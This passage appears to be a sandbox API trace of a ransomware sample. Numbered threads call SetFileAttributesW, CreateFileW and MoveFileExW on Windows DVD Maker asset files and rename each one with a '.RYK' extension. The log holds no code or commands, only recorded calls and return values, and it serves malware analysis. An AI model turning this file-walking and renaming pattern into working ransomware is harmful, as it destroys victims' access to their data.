Thread:
	id = 1157
	os_tid = 0x1830

	[0229.994] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0229.994] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.994] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1158
	os_tid = 0x1834

	[0229.995] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0229.995] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.995] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1159
	os_tid = 0x1838

	[0229.996] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0229.996] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0229.996] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0229.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1160
	os_tid = 0x183c

	[0230.127] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0230.127] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.127] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1161
	os_tid = 0x1840

	[0230.129] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0230.129] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1162
	os_tid = 0x1848

	[0230.130] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0230.131] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.131] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1163
	os_tid = 0x184c

	[0230.132] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png", dwFileAttributes=0x80) returned 0
	[0230.133] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.133] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1164
	os_tid = 0x1850

	[0230.134] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png", dwFileAttributes=0x80) returned 0
	[0230.257] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1165
	os_tid = 0x1854

	[0230.135] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png", dwFileAttributes=0x80) returned 0
	[0230.258] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.258] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1166
	os_tid = 0x1858

	[0230.137] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.137] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.137] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1167
	os_tid = 0x185c

	[0230.139] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.139] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1168
	os_tid = 0x1860

	[0230.140] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.141] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.141] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1169
	os_tid = 0x1864

	[0230.143] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.143] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.143] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1170
	os_tid = 0x1868

	[0230.145] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0230.145] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1171
	os_tid = 0x186c

	[0230.147] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.147] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.147] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1172
	os_tid = 0x1870

	[0230.260] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv", dwFileAttributes=0x80) returned 0
	[0230.261] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.261] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1173
	os_tid = 0x1874

	[0230.263] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0230.263] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.263] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.263] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1174
	os_tid = 0x1878

	[0230.538] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0230.538] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.538] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1175
	os_tid = 0x187c

	[0230.540] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png", dwFileAttributes=0x80) returned 0
	[0230.540] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1176
	os_tid = 0x1880

	[0230.541] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png", dwFileAttributes=0x80) returned 0
	[0230.542] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.542] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1177
	os_tid = 0x1884

	[0230.543] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png", dwFileAttributes=0x80) returned 0
	[0230.543] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.544] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1178
	os_tid = 0x1888

	[0230.545] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0230.545] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.545] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1179
	os_tid = 0x188c

	[0230.548] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png", dwFileAttributes=0x80) returned 0
	[0230.548] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.548] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1180
	os_tid = 0x1890

	[0230.549] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
